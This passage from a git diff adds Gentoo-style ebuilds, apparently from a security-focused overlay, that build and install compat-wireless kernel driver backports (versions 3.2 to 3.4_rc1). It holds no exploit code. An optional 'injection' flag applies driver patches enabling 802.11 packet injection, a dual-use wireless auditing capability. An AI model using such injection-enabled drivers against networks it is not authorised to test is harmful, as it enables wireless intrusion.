KLIB_BUILD="${DESTDIR}"/lib/modules/"${KV_FULL}"/build || die "emake failed" +} + +src_install() { + for file in $(find -name \*.ko); do + insinto "/lib/modules/${KV_FULL}/updates/$(dirname ${file})" + doins "${file}" + done + dosbin scripts/athenable scripts/b43load scripts/iwl-enable \ + scripts/madwifi-unload scripts/athload scripts/iwl-load \ + scripts/b43enable scripts/unload.sh + + dodir /usr/lib/compat-wireless + exeinto /usr/lib/compat-wireless + doexe scripts/modlib.sh + + dodoc README + dodir /$(get_libdir)/udev/rules.d/ + insinto /$(get_libdir)/udev/rules.d/ + doins udev/50-compat_firmware.rules + exeinto /$(get_libdir)/udev/ + doexe udev/compat_firmware.sh +} + +pkg_postinst() { + update_depmod + update_moduledb + + if use !livecd; then + if use loadmodules; then + /usr/sbin/unload.sh + /sbin/udevadm trigger + einfo "Your new modules have been loaded for you, sorry for the network hiccup." + fi + fi + einfo "If you didn't USE=loadmodules you can still switch to the new drivers without reboot." + einfo "Run 'unload.sh' then 'udevadm trigger' to cause udev to load the needed drivers." +} + +pkg_postrm() { + remove_moduledb +} diff --git a/net-wireless/compat-wireless/compat-wireless-3.2.ebuild b/net-wireless/compat-wireless/compat-wireless-3.2.ebuild new file mode 100644 index 00000000..34087505 --- /dev/null +++ b/net-wireless/compat-wireless/compat-wireless-3.2.ebuild @@ -0,0 +1,176 @@ +# Copyright 1999-2011 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI="4" +inherit linux-mod linux-info versionator eutils + +##Stable + +MY_P=${P/_rc/-rc} + +MY_PV=v$(get_version_component_range 1-2) +DESCRIPTION="Stable kernel pre-release wifi subsystem backport" +HOMEPAGE="http://wireless.kernel.org/en/users/Download/stable" +CRAZY_VERSIONING="1-s" +SRC_URI="http://www.orbit-lab.org/kernel/${PN}-3.0-stable/${MY_PV}/${MY_P}-${CRAZY_VERSIONING}.tar.bz2" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="amd64 ~arm x86" +IUSE="atheros_obey_crda bluetooth b43 b44 debugfs debug-driver full-debug injection livecd loadmodules noleds tinyversionoverride" + +DEPEND="" +RDEPEND="livecd? ( =sys-kernel/linux-firmware-99999999 ) + !livecd? ( >=sys-kernel/linux-firmware-20110709 ) + virtual/udev" + +S="${WORKDIR}"/"${MY_P}"-${CRAZY_VERSIONING} +RESTRICT="strip" + +CONFIG_CHECK="!DYNAMIC_FTRACE" + +pkg_setup() { + linux-mod_pkg_setup + kernel_is -lt 2 6 27 && die "kernel 2.6.27 or higher is required for compat wireless to be installed" + kernel_is -gt $(get_version_component_range 1) $(get_version_component_range 2) && die "The version of compat-wireless you are trying to install contains older modules than your kernel. Failing before downgrading your system." + if kernel_is -eq $(get_version_component_range 1) $(get_version_component_range 2) ; then + if use tinyversionoverride; then + ewarn "You have the tinyversionoverride use flag set which means you know for a fact that your" + ewarn "kernel is older than the compat-wireless you are installing." + ewarn "Most likely you have no clue what you are doing and should hit control-C now" + ewarn "before you downgrade your system." + else + ewarn "Your kernel version is most likely newer than the compat-wireless release you are" + ewarn "trying to install. If you are certain that your kernel is older then you can set" + ewarn "the tinyversionoverride use flag to override this safety check." + die "Your kernel version is too close to the compat-wireless version to risk installation." + fi + fi + + #these things are not optional + linux_chkconfig_module MAC80211 || die "CONFIG_MAC80211 must be built as a _module_ !" + linux_chkconfig_module CFG80211 || die "CONFIG_CFG80211 must be built as a _module_ !" + + if use b43; then + linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b43" + fi + if use b44; then + linux_chkconfig_present SSB || die "You need to enable CONFIG_SSB or USE=-b44" + linux_chkconfig_present NET_ETHERNET || die "You need to enable CONFIG_NET_ETHERNET or USE=-b44" + fi +} + +src_prepare() { + epatch "${FILESDIR}"/make-make.patch + + #this patch fixes a trivial typo in the config.mk + epatch "${FILESDIR}"/fix-typos-2.6.36_rc5.patch + + #this may or may not HELP the channel -1 issue. this is not a fix + #epatch "${FILESDIR}"/channel-negative-one-maxim.patch + + #Linville finally stepped in and offered this patch so we are testing it + #epatch "${FILESDIR}"/linville-aircrack-ng.patch + + #johill + epatch "${FILESDIR}"/johill-negone-paul.patch + + #this patch ignores the regulatory settings of an atheros card and uses what CRDA thinks is right + if use atheros_obey_crda; then + ewarn "You have enabled atheros_obey_crda which doesn't do what you think." + ewarn "This use flag will cause the eeprom of the card to be ignored and force" + ewarn "world roaming on the device until crda provides a valid regdomain." + ewarn "Short version, this is not a way to break the law, this will automatically" + ewarn "make your card less functional unless you set a proper regdomain with iw/crda." + ewarn "Pausing for 10 secs..." + epatch "${FILESDIR}"/ath_regd_optional.patch + fi + + if use injection; then + epatch "${FILESDIR}"/4002_mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch + epatch "${FILESDIR}"/4004_zd1211rw-2.6.28.patch + epatch "${FILESDIR}"/mac80211.compat08082009.wl_frag+ack_v1.patch + epatch "${FILESDIR}"/4013-runtime-enable-disable-of-mac80211-packet-injection.patch +# epatch "${FILESDIR}"/compat-chaos.patch +# epatch "${FILESDIR}"/rtl8187-mac80211-injection-speed-2.6.30-rc3.patch +# epatch "${FILESDIR}"/super_secret_patch.diff + epatch "${FILESDIR}"/ipw2200-inject.2.6.36.patch + fi + use noleds && epatch "${FILESDIR}"/leds-disable-strict.patch + use debug-driver && epatch "${FILESDIR}"/driver-debug.patch + use debugfs && sed -i '/DEBUGFS/s/^# *//' "${S}"/config.mk + if use full-debug; then + if use debug-driver ; then + sed -i '/CONFIG=/s/^# *//' "${S}"/config.mk + else + ewarn "Enabling full-debug includes debug-driver." + sed -i '/DEBUG=/s/^# *//' "${S}"/config.mk + fi + fi +# Disable B44 ethernet driver + if ! use b44; then + sed -i '/CONFIG_B44=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver" + sed -i '/CONFIG_B44_PCI=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver" + fi + +# Disable B43 driver + if ! use b43; then + sed -i '/CONFIG_B43=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver" + sed -i '/CONFIG_B43_PCI_AUTOSELECT=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver" + #CONFIG_B43LEGACY= + fi + +# fixme: there are more bluethooth settings in the config.mk + if ! use bluetooth; then + sed -i '/CONFIG_COMPAT_BLUETOOTH=/s/ */#/' "${S}"/config.mk || die "unable to disable bluetooth driver" + sed -i '/CONFIG_COMPAT_BLUETOOTH_MODULES=/s/ */#/' "${S}"/config.mk || die "unable to bluetooth B44 driver" + fi + +} + +src_compile() { + addpredict "${KERNEL_DIR}" + set_arch_to_kernel + emake KLIB_BUILD="${DESTDIR}"/lib/modules/"${KV_FULL}"/build || die "emake failed" +} + +src_install() { + for file in $(find -name \*.ko); do + insinto "/lib/modules/${KV_FULL}/updates/$(dirname ${file})" + doins "${file}" + done + dosbin scripts/athenable scripts/b43load scripts/iwl-enable \ + scripts/madwifi-unload scripts/athload scripts/iwl-load \ + scripts/b43enable scripts/unload.sh + + dodir /usr/lib/compat-wireless + exeinto /usr/lib/compat-wireless + doexe scripts/modlib.sh + + dodoc README + dodir /$(get_libdir)/udev/rules.d/ + insinto /$(get_libdir)/udev/rules.d/ + doins udev/50-compat_firmware.rules + exeinto /$(get_libdir)/udev/ + doexe udev/compat_firmware.sh +} + +pkg_postinst() { + update_depmod + update_moduledb + + if use !livecd; then + if use loadmodules; then + /usr/sbin/unload.sh + /sbin/udevadm trigger + einfo "Your new modules have been loaded for you, sorry for the network hiccup." + fi + fi + einfo "If you didn't USE=loadmodules you can still switch to the new drivers without reboot." + einfo "Run 'unload.sh' then 'udevadm trigger' to cause udev to load the needed drivers." +} + +pkg_postrm() { + remove_moduledb +} diff --git a/net-wireless/compat-wireless/compat-wireless-3.3-r1.ebuild b/net-wireless/compat-wireless/compat-wireless-3.3-r1.ebuild new file mode 100644 index 00000000..82d79610 --- /dev/null +++ b/net-wireless/compat-wireless/compat-wireless-3.3-r1.ebuild @@ -0,0 +1,170 @@ +# Copyright 1999-2011 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI="4" +inherit linux-mod linux-info versionator eutils + +##Stable + +MY_P=${P/_rc/-rc} + +MY_PV=v$(get_version_component_range 1-2) +DESCRIPTION="Stable kernel pre-release wifi subsystem backport" +HOMEPAGE="http://wireless.kernel.org/en/users/Download/stable" +CRAZY_VERSIONING="2-n" +SRC_URI="http://www.orbit-lab.org/kernel/${PN}-3.0-stable/${MY_PV}/${MY_P}-${CRAZY_VERSIONING}.tar.bz2" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="amd64 ~arm x86" +IUSE="atheros_obey_crda bluetooth b43 b44 debugfs debug-driver full-debug injection livecd loadmodules noleds tinyversionoverride" + +DEPEND="!net-wireless/compat-wireless" +RDEPEND="${DEPEND} + livecd? ( =sys-kernel/linux-firmware-99999999 ) + !livecd? ( >=sys-kernel/linux-firmware-20120219 ) + virtual/udev" + +S="${WORKDIR}"/"${MY_P}"-${CRAZY_VERSIONING} +RESTRICT="strip" + +CONFIG_CHECK="!DYNAMIC_FTRACE" + +pkg_setup() { + linux-mod_pkg_setup + kernel_is -lt 2 6 27 && die "kernel 2.6.27 or higher is required for compat wireless to be installed" + kernel_is -gt $(get_version_component_range 1) $(get_version_component_range 2) && die "The version of compat-wireless you are trying to install contains older modules than your kernel. Failing before downgrading your system." + if kernel_is -eq $(get_version_component_range 1) $(get_version_component_range 2) ; then + if use tinyversionoverride; then + ewarn "You have the tinyversionoverride use flag set which means you know for a fact that your" + ewarn "kernel is older than the compat-wireless you are installing." + ewarn "Most likely you have no clue what you are doing and should hit control-C now" + ewarn "before you downgrade your system." + else + ewarn "Your kernel version is most likely newer than the compat-wireless release you are" + ewarn "trying to install. If you are certain that your kernel is older then you can set" + ewarn "the tinyversionoverride use flag to override this safety check." + die "Your kernel version is too close to the compat-wireless version to risk installation." + fi + fi + + #these things are not optional + linux_chkconfig_module MAC80211 || die "CONFIG_MAC80211 must be built as a _module_ !" + linux_chkconfig_module CFG80211 || die "CONFIG_CFG80211 must be built as a _module_ !" + linux_chkconfig_module LIBIPW || ewarn "CONFIG_LIBIPW really should be set or there will be no WEXT compat" + + if use b43; then + linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b43" + fi + if use b44; then + linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b44" + fi +} + +src_prepare() { + epatch "${FILESDIR}"/make-make.patch + + #this patch fixes a trivial typo in the config.mk + epatch "${FILESDIR}"/fix-typos-2.6.36_rc5.patch + + # CONFIG_CFG80211_REG_DEBUG=y + sed -i '/CFG80211_REG_DEBUG/s/^# *//' "${S}"/config.mk + + #this patch ignores the regulatory settings of an atheros card and uses what CRDA thinks is right + if use atheros_obey_crda; then + ewarn "You have enabled atheros_obey_crda which doesn't do what you think." + ewarn "This use flag will cause the eeprom of the card to be ignored and force" + ewarn "world roaming on the device until crda provides a valid regdomain." + ewarn "Short version, this is not a way to break the law, this will automatically" + ewarn "make your card less functional unless you set a proper regdomain with iw/crda." + ewarn "Pausing for 10 secs..." + epatch "${FILESDIR}"/ath_regd_optional.patch + fi + + if use injection; then + epatch "${FILESDIR}"/4002_mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch + epatch "${FILESDIR}"/4004_zd1211rw-2.6.28.patch + # epatch "${FILESDIR}"/mac80211.compat08082009.wl_frag+ack_v1.patch + # epatch "${FILESDIR}"/4013-runtime-enable-disable-of-mac80211-packet-injection.patch + epatch "${FILESDIR}"/ipw2200-inject.2.6.36.patch + fi + use noleds && epatch "${FILESDIR}"/leds-disable-strict.patch + use debug-driver && epatch "${FILESDIR}"/driver-debug.patch + use debugfs && sed -i '/DEBUGFS/s/^# *//' "${S}"/config.mk + if use full-debug; then + if use debug-driver ; then + sed -i '/CONFIG=/s/^# *//' "${S}"/config.mk + else + ewarn "Enabling full-debug includes debug-driver." + sed -i '/DEBUG=/s/^# *//' "${S}"/config.mk + fi + fi +# Disable B44 ethernet driver + if ! use b44; then + sed -i '/CONFIG_B44=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver" + sed -i '/CONFIG_B44_PCI=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver" + fi + +# Disable B43 driver + if ! use b43; then + sed -i '/CONFIG_B43=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver" + sed -i '/CONFIG_B43_PCI_AUTOSELECT=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver" + #CONFIG_B43LEGACY= + fi + +# fixme: there are more bluethooth settings in the config.mk + if ! use bluetooth; then + sed -i '/CONFIG_COMPAT_BLUETOOTH=/s/ */#/' "${S}"/config.mk || die "unable to disable bluetooth driver" + sed -i '/CONFIG_COMPAT_BLUETOOTH_MODULES=/s/ */#/' "${S}"/config.mk || die "unable to bluetooth B44 driver" + fi + +} + +src_compile() { + addpredict "${KERNEL_DIR}" + set_arch_to_kernel + emake KLIB_BUILD="${DESTDIR}"/lib/modules/"${KV_FULL}"/build || die "emake failed" +} + +src_install() { + for file in $(find -name \*.ko); do + insinto "/lib/modules/${KV_FULL}/updates/$(dirname ${file})" + doins "${file}" + done + dosbin scripts/athenable scripts/b43load scripts/iwl-enable \ + scripts/madwifi-unload scripts/athload scripts/iwl-load \ + scripts/b43enable scripts/unload.sh + + dodir /usr/lib/compat-wireless + exeinto /usr/lib/compat-wireless + doexe scripts/modlib.sh + + dodoc README + dodir /$(get_libdir)/udev/rules.d/ + insinto /$(get_libdir)/udev/rules.d/ + doins udev/50-compat_firmware.rules + exeinto /$(get_libdir)/udev/ + doexe udev/compat_firmware.sh +} + +pkg_postinst() { + update_depmod + update_moduledb + + if use !livecd; then + if use loadmodules; then + /usr/sbin/unload.sh + /sbin/udevadm trigger + einfo "Your new modules have been loaded for you, sorry for the network hiccup." + fi + fi + if use !loadmodules; then + einfo "You didn't USE=loadmodules but you can still switch to the new drivers without reboot." + einfo "Run 'unload.sh' then 'udevadm trigger' to cause udev to load the needed drivers." + fi +} + +pkg_postrm() { + remove_moduledb +} diff --git a/net-wireless/compat-wireless/compat-wireless-3.3.ebuild b/net-wireless/compat-wireless/compat-wireless-3.3.ebuild new file mode 100644 index 00000000..0e856449 --- /dev/null +++ b/net-wireless/compat-wireless/compat-wireless-3.3.ebuild @@ -0,0 +1,169 @@ +# Copyright 1999-2011 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI="4" +inherit linux-mod linux-info versionator eutils + +##Stable + +MY_P=${P/_rc/-rc} + +MY_PV=v$(get_version_component_range 1-2) +DESCRIPTION="Stable kernel pre-release wifi subsystem backport" +HOMEPAGE="http://wireless.kernel.org/en/users/Download/stable" +CRAZY_VERSIONING="1" +SRC_URI="http://www.orbit-lab.org/kernel/${PN}-3.0-stable/${MY_PV}/${MY_P}-${CRAZY_VERSIONING}.tar.bz2" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="amd64 ~arm x86" +IUSE="atheros_obey_crda bluetooth b43 b44 debugfs debug-driver full-debug injection livecd loadmodules noleds tinyversionoverride" + +DEPEND="" +RDEPEND="livecd? ( =sys-kernel/linux-firmware-99999999 ) + !livecd? ( >=sys-kernel/linux-firmware-20110709 ) + virtual/udev" + +S="${WORKDIR}"/"${MY_P}"-${CRAZY_VERSIONING} +RESTRICT="strip" + +CONFIG_CHECK="!DYNAMIC_FTRACE" + +pkg_setup() { + linux-mod_pkg_setup + kernel_is -lt 2 6 27 && die "kernel 2.6.27 or higher is required for compat wireless to be installed" + kernel_is -gt $(get_version_component_range 1) $(get_version_component_range 2) && die "The version of compat-wireless you are trying to install contains older modules than your kernel. Failing before downgrading your system." + if kernel_is -eq $(get_version_component_range 1) $(get_version_component_range 2) ; then + if use tinyversionoverride; then + ewarn "You have the tinyversionoverride use flag set which means you know for a fact that your" + ewarn "kernel is older than the compat-wireless you are installing." + ewarn "Most likely you have no clue what you are doing and should hit control-C now" + ewarn "before you downgrade your system." + else + ewarn "Your kernel version is most likely newer than the compat-wireless release you are" + ewarn "trying to install. If you are certain that your kernel is older then you can set" + ewarn "the tinyversionoverride use flag to override this safety check." + die "Your kernel version is too close to the compat-wireless version to risk installation." + fi + fi + + #these things are not optional + linux_chkconfig_module MAC80211 || die "CONFIG_MAC80211 must be built as a _module_ !" + linux_chkconfig_module CFG80211 || die "CONFIG_CFG80211 must be built as a _module_ !" + linux_chkconfig_module LIBIPW || ewarn "CONFIG_LIBIPW really should be set or there will be no WEXT compat" + + if use b43; then + linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b43" + fi + if use b44; then + linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b44" + fi +} + +src_prepare() { + epatch "${FILESDIR}"/make-make.patch + + #this patch fixes a trivial typo in the config.mk + epatch "${FILESDIR}"/fix-typos-2.6.36_rc5.patch + + # CONFIG_CFG80211_REG_DEBUG=y + sed -i '/CFG80211_REG_DEBUG/s/^# *//' "${S}"/config.mk + + #this patch ignores the regulatory settings of an atheros card and uses what CRDA thinks is right + if use atheros_obey_crda; then + ewarn "You have enabled atheros_obey_crda which doesn't do what you think." + ewarn "This use flag will cause the eeprom of the card to be ignored and force" + ewarn "world roaming on the device until crda provides a valid regdomain." + ewarn "Short version, this is not a way to break the law, this will automatically" + ewarn "make your card less functional unless you set a proper regdomain with iw/crda." + ewarn "Pausing for 10 secs..." + epatch "${FILESDIR}"/ath_regd_optional.patch + fi + + if use injection; then + epatch "${FILESDIR}"/4002_mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch + epatch "${FILESDIR}"/4004_zd1211rw-2.6.28.patch + # epatch "${FILESDIR}"/mac80211.compat08082009.wl_frag+ack_v1.patch + # epatch "${FILESDIR}"/4013-runtime-enable-disable-of-mac80211-packet-injection.patch + epatch "${FILESDIR}"/ipw2200-inject.2.6.36.patch + fi + use noleds && epatch "${FILESDIR}"/leds-disable-strict.patch + use debug-driver && epatch "${FILESDIR}"/driver-debug.patch + use debugfs && sed -i '/DEBUGFS/s/^# *//' "${S}"/config.mk + if use full-debug; then + if use debug-driver ; then + sed -i '/CONFIG=/s/^# *//' "${S}"/config.mk + else + ewarn "Enabling full-debug includes debug-driver." + sed -i '/DEBUG=/s/^# *//' "${S}"/config.mk + fi + fi +# Disable B44 ethernet driver + if ! use b44; then + sed -i '/CONFIG_B44=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver" + sed -i '/CONFIG_B44_PCI=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver" + fi + +# Disable B43 driver + if ! use b43; then + sed -i '/CONFIG_B43=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver" + sed -i '/CONFIG_B43_PCI_AUTOSELECT=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver" + #CONFIG_B43LEGACY= + fi + +# fixme: there are more bluethooth settings in the config.mk + if ! use bluetooth; then + sed -i '/CONFIG_COMPAT_BLUETOOTH=/s/ */#/' "${S}"/config.mk || die "unable to disable bluetooth driver" + sed -i '/CONFIG_COMPAT_BLUETOOTH_MODULES=/s/ */#/' "${S}"/config.mk || die "unable to bluetooth B44 driver" + fi + +} + +src_compile() { + addpredict "${KERNEL_DIR}" + set_arch_to_kernel + emake KLIB_BUILD="${DESTDIR}"/lib/modules/"${KV_FULL}"/build || die "emake failed" +} + +src_install() { + for file in $(find -name \*.ko); do + insinto "/lib/modules/${KV_FULL}/updates/$(dirname ${file})" + doins "${file}" + done + dosbin scripts/athenable scripts/b43load scripts/iwl-enable \ + scripts/madwifi-unload scripts/athload scripts/iwl-load \ + scripts/b43enable scripts/unload.sh + + dodir /usr/lib/compat-wireless + exeinto /usr/lib/compat-wireless + doexe scripts/modlib.sh + + dodoc README + dodir /$(get_libdir)/udev/rules.d/ + insinto /$(get_libdir)/udev/rules.d/ + doins udev/50-compat_firmware.rules + exeinto /$(get_libdir)/udev/ + doexe udev/compat_firmware.sh +} + +pkg_postinst() { + update_depmod + update_moduledb + + if use !livecd; then + if use loadmodules; then + /usr/sbin/unload.sh + /sbin/udevadm trigger + einfo "Your new modules have been loaded for you, sorry for the network hiccup." + fi + fi + if use !loadmodules; then + einfo "You didn't USE=loadmodules but you can still switch to the new drivers without reboot." + einfo "Run 'unload.sh' then 'udevadm trigger' to cause udev to load the needed drivers." + fi +} + +pkg_postrm() { + remove_moduledb +} diff --git a/net-wireless/compat-wireless/compat-wireless-3.4_rc1-r1.ebuild b/net-wireless/compat-wireless/compat-wireless-3.4_rc1-r1.ebuild new file mode 100644 index 00000000..d570b2e5 --- /dev/null +++ b/net-wireless/compat-wireless/compat-wireless-3.4_rc1-r1.ebuild @@ -0,0 +1,159 @@ +# Copyright 1999-2011 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI="4" +inherit linux-mod linux-info versionator eutils + +##Stable + +MY_P=${P/_rc/-rc} + +MY_PV=v$(get_version_component_range 1-2) +DESCRIPTION="Stable kernel pre-release wifi subsystem backport" +HOMEPAGE="http://wireless.kernel.org/en/users/Download/stable" +CRAZY_VERSIONING="2" +SRC_URI="http://www.orbit-lab.org/kernel/${PN}-3.0-stable/${MY_PV}/${MY_P}-${CRAZY_VERSIONING}.tar.bz2" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="~amd64 ~arm ~x86" +IUSE="atheros_obey_crda bluetooth b43 b44 debugfs debug-driver full-debug injection livecd loadmodules noleds" + +DEPEND="!net-wireless/compat-wireless-builder" +RDEPEND="${DEPEND} + livecd? ( =sys-kernel/linux-firmware-99999999 ) + !livecd? ( >=sys-kernel/linux-firmware-20110709 ) + virtual/udev" + +S="${WORKDIR}"/"${MY_P}"-${CRAZY_VERSIONING} +RESTRICT="strip" + +CONFIG_CHECK="!DYNAMIC_FTRACE" + +pkg_setup() { + linux-mod_pkg_setup + kernel_is -lt 2 6 27 && die "kernel 2.6.27 or higher is required for compat wireless to be installed" + kernel_is -gt $(get_version_component_range 1) $(get_version_component_range 2) $(get_version_component_range 3) && die "The version of compat-wireless you are trying to install contains older modules than your kernel. Failing before downgrading your system." + if kernel_is -eq $(get_version_component_range 1) $(get_version_component_range 2) $(get_version_component_range 3); then + ewarn "Please report that you saw this message in #pentoo on irc.freenode.net along with your uname -r" + fi + + #these things are not optional + linux_chkconfig_module MAC80211 || die "CONFIG_MAC80211 must be built as a _module_ !" + linux_chkconfig_module CFG80211 || die "CONFIG_CFG80211 must be built as a _module_ !" + linux_chkconfig_module LIBIPW || ewarn "CONFIG_LIBIPW really should be set or there will be no WEXT compat" + + if use b43; then + linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b43" + fi + if use b44; then + linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b44" + fi +} + +src_prepare() { + # CONFIG_CFG80211_REG_DEBUG=y + sed -i '/CFG80211_REG_DEBUG/s/^# *//' "${S}"/config.mk + + #this patch ignores the regulatory settings of an atheros card and uses what CRDA thinks is right + if use atheros_obey_crda; then + ewarn "You have enabled atheros_obey_crda which doesn't do what you think." + ewarn "This use flag will cause the eeprom of the card to be ignored and force" + ewarn "world roaming on the device until crda provides a valid regdomain." + ewarn "Short version, this is not a way to break the law, this will automatically" + ewarn "make your card less functional unless you set a proper regdomain with iw/crda." + ewarn "Pausing for 10 secs..." + epatch "${FILESDIR}"/ath_regd_optional.patch + fi + + if use injection; then + epatch "${FILESDIR}"/4002_mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch + epatch "${FILESDIR}"/4004_zd1211rw-2.6.28.patch + # epatch "${FILESDIR}"/mac80211.compat08082009.wl_frag+ack_v1.patch + # epatch "${FILESDIR}"/4013-runtime-enable-disable-of-mac80211-packet-injection.patch + epatch "${FILESDIR}"/ipw2200-inject.2.6.36.patch + fi + use noleds && epatch "${FILESDIR}"/leds-disable-strict.patch + use debug-driver && epatch "${FILESDIR}"/driver-debug.patch + use debugfs && sed -i '/DEBUGFS/s/^# *//' "${S}"/config.mk + if use full-debug; then + if use debug-driver ; then + sed -i '/CONFIG=/s/^# *//' "${S}"/config.mk + else + ewarn "Enabling full-debug includes debug-driver." + sed -i '/DEBUG=/s/^# *//' "${S}"/config.mk + fi + fi +# Disable B44 ethernet driver + if ! use b44; then + sed -i '/CONFIG_B44=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver" + sed -i '/CONFIG_B44_PCI=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver" + fi + +# Disable B43 driver + if ! use b43; then + sed -i '/CONFIG_B43=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver" + sed -i '/CONFIG_B43_PCI_AUTOSELECT=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver" + #CONFIG_B43LEGACY= + fi + +# fixme: there are more bluethooth settings in the config.mk + if ! use bluetooth; then + sed -i '/CONFIG_COMPAT_BLUETOOTH=/s/ */#/' "${S}"/config.mk || die "unable to disable bluetooth driver" + sed -i '/CONFIG_COMPAT_BLUETOOTH_MODULES=/s/ */#/' "${S}"/config.mk || die "unable to bluetooth B44 driver" + fi + +} + +src_compile() { + addpredict "${KERNEL_DIR}" + set_arch_to_kernel + emake KLIB_BUILD="${DESTDIR}"/lib/modules/"${KV_FULL}"/build || die "emake failed" +} + +src_install() { + for file in $(find -name \*.ko); do + insinto "/lib/modules/${KV_FULL}/updates/$(dirname ${file})" + doins "${file}" + done + dosbin scripts/athenable scripts/b43load scripts/iwl-enable \ + scripts/madwifi-unload scripts/athload scripts/iwl-load \ + scripts/b43enable scripts/unload.sh + + dodir /usr/lib/compat-wireless + exeinto /usr/lib/compat-wireless + doexe scripts/modlib.sh + + dodoc README + dodir /$(get_libdir)/udev/rules.d/ + insinto /$(get_libdir)/udev/rules.d/ + doins udev/50-compat_firmware.rules + exeinto /$(get_libdir)/udev/ + doexe udev/compat_firmware.sh +} + +pkg_postinst() { + update_depmod + update_moduledb + + if use !livecd; then + if use loadmodules; then + einfo "Attempting to unload modules..." + /usr/sbin/unload.sh 2>&1 | grep -E FATAL && ewarn "Unable to remove running modules, system may be unhappy, reboot HIGHLY recommended!" + einfo "Triggering automatic reload of needed modules..." + /sbin/udevadm trigger + einfo "We have attempted to load your new modules for you, this may fail horribly, or may just cause a network hiccup." + einfo "If you experience any issues reboot is the simplest course of action." + fi + fi + if use !loadmodules; then + einfo "You didn't USE=loadmodules but you can still attempt to switch to the new drivers without reboot." + einfo "Run 'unload.sh' then 'udevadm trigger' to cause udev to load the needed drivers." + einfo "If unload.sh fails for some reason you should be able to simply reboot to fix everything and load the new modules." + fi +} + +pkg_postrm() { + remove_moduledb +} diff --git a/net-wireless/compat-wireless/compat-wireless-3.4_rc1.ebuild b/net-wireless/compat-wireless/compat-wireless-3.4_rc1.ebuild new file mode 100644 index 00000000..251352c8 --- /dev/null +++ b/net-wireless/compat-wireless/compat-wireless-3.4_rc1.ebuild @@ -0,0 +1,164 @@ +# Copyright 1999-2011 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI="4" +inherit linux-mod linux-info versionator eutils + +##Stable + +MY_P=${P/_rc/-rc} + +MY_PV=v$(get_version_component_range 1-2) +DESCRIPTION="Stable kernel pre-release wifi subsystem backport" +HOMEPAGE="http://wireless.kernel.org/en/users/Download/stable" +CRAZY_VERSIONING="2" +SRC_URI="http://www.orbit-lab.org/kernel/${PN}-3.0-stable/${MY_PV}/${MY_P}-${CRAZY_VERSIONING}.tar.bz2" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="~amd64 ~arm ~x86" +IUSE="atheros_obey_crda bluetooth b43 b44 debugfs debug-driver full-debug injection livecd loadmodules noleds tinyversionoverride" + +DEPEND="" +RDEPEND="livecd? ( =sys-kernel/linux-firmware-99999999 ) + !livecd? ( >=sys-kernel/linux-firmware-20110709 ) + virtual/udev" + +S="${WORKDIR}"/"${MY_P}"-${CRAZY_VERSIONING} +RESTRICT="strip" + +CONFIG_CHECK="!DYNAMIC_FTRACE" + +pkg_setup() { + linux-mod_pkg_setup + kernel_is -lt 2 6 27 && die "kernel 2.6.27 or higher is required for compat wireless to be installed" + kernel_is -gt $(get_version_component_range 1) $(get_version_component_range 2) && die "The version of compat-wireless you are trying to install contains older modules than your kernel. Failing before downgrading your system." + if kernel_is -eq $(get_version_component_range 1) $(get_version_component_range 2) ; then + if use tinyversionoverride; then + ewarn "You have the tinyversionoverride use flag set which means you know for a fact that your" + ewarn "kernel is older than the compat-wireless you are installing." + ewarn "Most likely you have no clue what you are doing and should hit control-C now" + ewarn "before you downgrade your system." + else + ewarn "Your kernel version is most likely newer than the compat-wireless release you are" + ewarn "trying to install. If you are certain that your kernel is older then you can set" + ewarn "the tinyversionoverride use flag to override this safety check." + die "Your kernel version is too close to the compat-wireless version to risk installation." + fi + fi + + #these things are not optional + linux_chkconfig_module MAC80211 || die "CONFIG_MAC80211 must be built as a _module_ !" + linux_chkconfig_module CFG80211 || die "CONFIG_CFG80211 must be built as a _module_ !" + linux_chkconfig_module LIBIPW || ewarn "CONFIG_LIBIPW really should be set or there will be no WEXT compat" + + if use b43; then + linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b43" + fi + if use b44; then + linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b44" + fi +} + +src_prepare() { + # CONFIG_CFG80211_REG_DEBUG=y + sed -i '/CFG80211_REG_DEBUG/s/^# *//' "${S}"/config.mk + + #this patch ignores the regulatory settings of an atheros card and uses what CRDA thinks is right + if use atheros_obey_crda; then + ewarn "You have enabled atheros_obey_crda which doesn't do what you think." + ewarn "This use flag will 